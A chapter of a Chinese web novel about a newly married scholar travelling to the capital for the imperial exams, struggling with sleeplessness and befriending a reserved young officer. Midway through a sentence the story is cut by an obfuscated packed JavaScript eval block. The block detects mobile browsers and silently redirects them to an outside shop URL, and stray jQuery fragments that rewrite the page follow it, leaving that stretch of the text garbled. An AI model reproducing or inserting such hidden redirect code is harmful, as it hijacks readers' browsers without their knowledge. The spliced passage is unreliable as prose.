万书库 > 玄幻小说 > 温酒听雪落 > 12.与君初相识
    ——


    瞿温醒时天仍漆黑,他翻了个身抱着萧雪,手指轻轻抚过她的面颊。


    成婚不过两月余,新婚燕尔的两人总要耳鬓厮磨至很晚,萧雪沉睡不醒也实属正常。


    可萧雪昨夜的温柔缠绵并没能彻底消退瞿温心中的不舍与埋怨,只是临行时分,他也舍不得再和她计较什么,是故他百转千回的心思最终只变为一句宠溺的抱怨:


    “天底下新婚头几月便抛弃丈夫的小女子我没见过,你是头一个。”


    成婚后,瞿温邀萧雪陪他上京赶考,萧雪拒绝了,一来是他们二人住在仲平家很不方便,二来萧雪最近在和琴行认识的老师傅一同修补一阙前朝古曲,进展顺利,再过两三月便能完成。


    萧雪睁眼后立即下床梳洗更衣,瞿温在一旁仔仔细细地最后一次检查自己的包裹,不过他也没带什么要紧物件就是。


    “你真的只用带两本书?”萧雪最后问了一遍,毕竟瞿温一路乘船北上,二月上便能抵京,还有近两个月的时间可以温书,而他似乎已经成竹在胸。


    “是啊,不高兴,不考了。”


    瞿温轻哼一声又躺回了床上,正准备更衣的萧雪愣住,但悬即便明白了。


    萧雪扔披散着乌黑长发,梅色的寝衣衬得她肤白胜雪,她走到床边,摸了摸瞿温的脸,见他没反应,便轻轻俯身双手伏在他胸口吻他的下颌。


    “你别来这套。”


    他嘴上这么说,但身体很诚实,萧雪见状扯下床边帷幔,低语道:“怎么办,你还没走,我已经开始想你了。”


    瞿温立刻被哄好了,可见就算是天纵英才也不过如此,谁都过不了美人关。


    两人因为在房中又耽误了功夫,一路疾驰这才按时抵达码头,来不及再嘱咐什么,瞿温对萧雪说了句要好好吃饭,就赶紧和少安拎着包裹奔向了已准备启程的船。


    今日风和日丽,萧雪目送着船只消失在视线里,她并不怎么担心瞿温此行,更不会担心他的科考,她只是比瞿温自己更希望他可以得偿所愿。


    萧雪知道他这几年过得太坎坷辛苦,他值得志得意满、幸福快乐一会儿,哪怕只一小会儿,只几日也是好的。


    “姑娘,你前日去庙里求得了个什么签?”


    “上上大吉。”


    ——


    瞿温抵达仲平家后头一回见到了他的娘亲,她举手投足间难掩妩媚风流,且有着与她的年岁毫不相称的年轻灵动、风趣从容。


    而仲平那位已经病逝的亲生父亲,竟是杨太傅和杨大学士的亲生弟弟。


    “鲤鱼跃龙门。”瞿温对此如是评价。


    杨家对外拒绝承认这桩丑闻,但仲平父亲一脉其余子孙都乃名副其实的纨绔子弟,反倒是这个从不愿为人提及的外室之子,有杨家人的才华横溢、满腹经纶。


    是以对外只说仲平是其挚友之子,只是其父早亡,便收他做了义子。


    两位挚友多年未见,人生境遇已大不相似,但久别重逢后仍宛如少时一般亲密无间,把酒言欢直至天明。


    二月就这么一晃而过,转眼间,距离科考只剩下一月的时间。


    也许是不太适应京都的天气,瞿温自打来后便时常辗转难眠,三月后情况愈发严重,竟会如在东海时般彻夜不眠。


    他躺在床上、闭上眼,耳边便是海浪拍打礁石的轰鸣,裹挟着那年冬天咸腥的冷意。有时是父亲隔着层层刀戟望过来的目光,还有那句“我儿莫怕”;还有时是母亲在白绢上血写的冤字,一笔一画,如在眼前。


    更多的时候,是钟离虞。


    那个他从未见过却恨入骨髓的人,就在这座城里,与他呼吸着同一片空气,在同一片天穹下安枕入眠。瞿温每每想到此处,便再也无法阖眼。


    萧雪斥重金请人八百里加急送来了安神药和药方,但症状也只是稍稍减缓,萧雪也私下写信给了仲平,猜测瞿温如今身在京都,离他的仇家不过咫尺之遥,故而忧思成疾。


    仲平收了信便心领神会,左不过就是想法子硬让他睡,那倒是有个好去处。


    因此瞿温被拉去了徐家的长生堂,他知道这个地方,徐家靠着药材起家早已成中州首屈一指的富贾,近些年又把长生堂的招牌开来了京都,仍旧是赚得盆满钵满。


    那是瞿温第一次见到清陌。


    他名唤徐靖,清陌是他的字,他长瞿温两岁,月底便是他二十二岁生辰,他在中州军中效力已一年有余,去岁还在战场立了军功,现已是麾下有兵的从六品校尉。


    瞿温发誓,清陌是他迄今为止见过的最好看的男人。


    所以当他得知要和这位美男子初初相识便脱了衣服一同针灸时,他只想逃跑。


    两人在房中聊天,或者应该说是瞿温一个人在聊天,他说十句,清陌回十个字,他再说十句,他再回十个字。


    “清陌兄竟愿和仲平那样的话痨结交。”瞿温笑着感慨。


    “他时常很烦人。”清陌闭着眼,“但你不。”


    瞿温顿觉,得到全城的赞誉都不及被这么个孤高冷傲、惜字如金的人夸奖来得重要。


    瞿温乍一看是个温润内敛的文人,实则很会与人交际,他有种说不清道不明的迷人魅力,会让他身边的人都喜欢他、信任他。


    他和清陌聊军营,聊美食佳肴,聊骑马有什么诀窍,最后没话说了,就聊起了萧雪。


    “她在补一首失传的前朝古曲。”


    “什么曲子?”清陌难得主动发问。


    针灸已在体中起效,瞿温已有些昏昏沉沉,他答:“杜鹃遗音,啊不,杜……”


    他正要说杜山遗音,后三个字还没出口,清陌已明白:“有意思,想听。”


    瞿温登时就骄傲了起来,也不知道在骄傲什么,总之他只要和别人聊起萧雪都像在炫耀。


    “清陌兄是否已有中意的姑娘?”


    “用不着,只想找个人尽快成婚。”


    针灸结束后,瞿温在廊下结完账等仲平。忽听得后院传来一阵马蹄声,他循声望去,见清陌已换了一身藏青色戎装,翻身上了一匹通体乌黑的骏马。


    “徐校尉,中州来的急报。”有兵士捧着一封信小跑上前。


    清陌接过信,借着廊下的灯笼拆开


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550308|203619||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    看了一眼。不过薄薄一张纸,他的目光却停驻了很久。瞿温远远望着,见他眉头微蹙,嘴唇抿成一条极淡的线。


    但只片刻,清陌便将信折好收入怀中。翻身上马的动作潇洒自如,恨不得让人再多看几遍,而后马蹄声踏碎夜色,很快便消失在巷口。


    瞿温站在原地,终于意识到他方才认识的这位冷淡寡言的美男子,还是一个在中州军中领兵杀敌的少年将军。


    ——


    会试的名次出来后瞿温已在京都名声大噪,他虽只考了第三名,但在前十人里他的年纪最小,有考生还翻出了他几年前秋闱的解元成绩,一时之间,成了新朝头一位状元郎的热门人选。


    第三十名的仲平带瞿温去见了杨大学士,一壶茶喝完杨大学士问瞿温是否成婚,得知答案后颇为惋惜地摇了摇头,仲平见状立刻道:“他不行我行啊三伯。”


    “不学无术之人莫要插话,谁家姑娘也看不上你。”


    仲平刚要反驳三十名怎么能算不学无术,但想到翰林院里大学士手下干活的的确是没有三十名的,只得悻悻缩回脑袋。


    “大学士放心,仲平兄当会在殿试时惊艳满堂。”瞿温此一言是他的真心话。


    仲平有三寸不烂之舌,若在三国,他当可与舌战群儒的诸葛孔明一决高下。


    不过谁也不知究竟何人能够惊艳当今圣上,在一个无风无雨的大晴天,殿试结束了。


    结束时也没有预想的轻松快活,瞿温、清陌和仲平只是一起平静地吃了顿饭。


    如果瞿温不在,饭后另两位仁兄必要直抵烟花柳巷寻欢作乐一番,但清陌瞧出了瞿温的为难,只说他累了,大家散了。


    “清陌兄,斗胆拜托你桩事。”瞿温不和他绕弯子,“你眼光好,我信你,我想劳烦你帮我留意京都有无合适的宅邸,三进或四进即可,价格公道些,我囊中羞涩,太贵也负担不起。”


    清陌轻撇了下头示意瞿温和他一同上车,把他带去了徐府。


    然后从一个足够装下七八套衣服的大箱子里拿出了一把地契。


    一大把。


    瞿温一瞬在这间典雅清寂的房中如坐针毡。


    下人端上一盘时令瓜果,清陌让他吃,自己先看了看,最后抽出三张递给瞿温。


    “挑吧。”他补充道,“都是老宅,年久失修,便宜得很。”


    瞿温心下好生感动,清陌看似拒人于千里之外,其实不然,相反,他洞悉人心、心如明镜。


    “我明日可不可以先去看看,看后待我回家和内人商议后写信给你。”


    “我明早去骁骑营,午膳后仲平家接你。”


    清陌干净利落地站起身送客,瞿温虽听话地往门外走,但还想和清陌再多聊会儿。


    “怎么去骁骑营了?是不是要从中州军里调回来了?”


    “是。”


    “可是去岁才立了军功有了部下,如今就走,之前的努力总觉有些白费,到了骁骑营……”


    “要睡了,不送了。”


    清陌停在了院门口,瞿温笑望着他,泠泠月光下,他如同一尊完美的雕塑。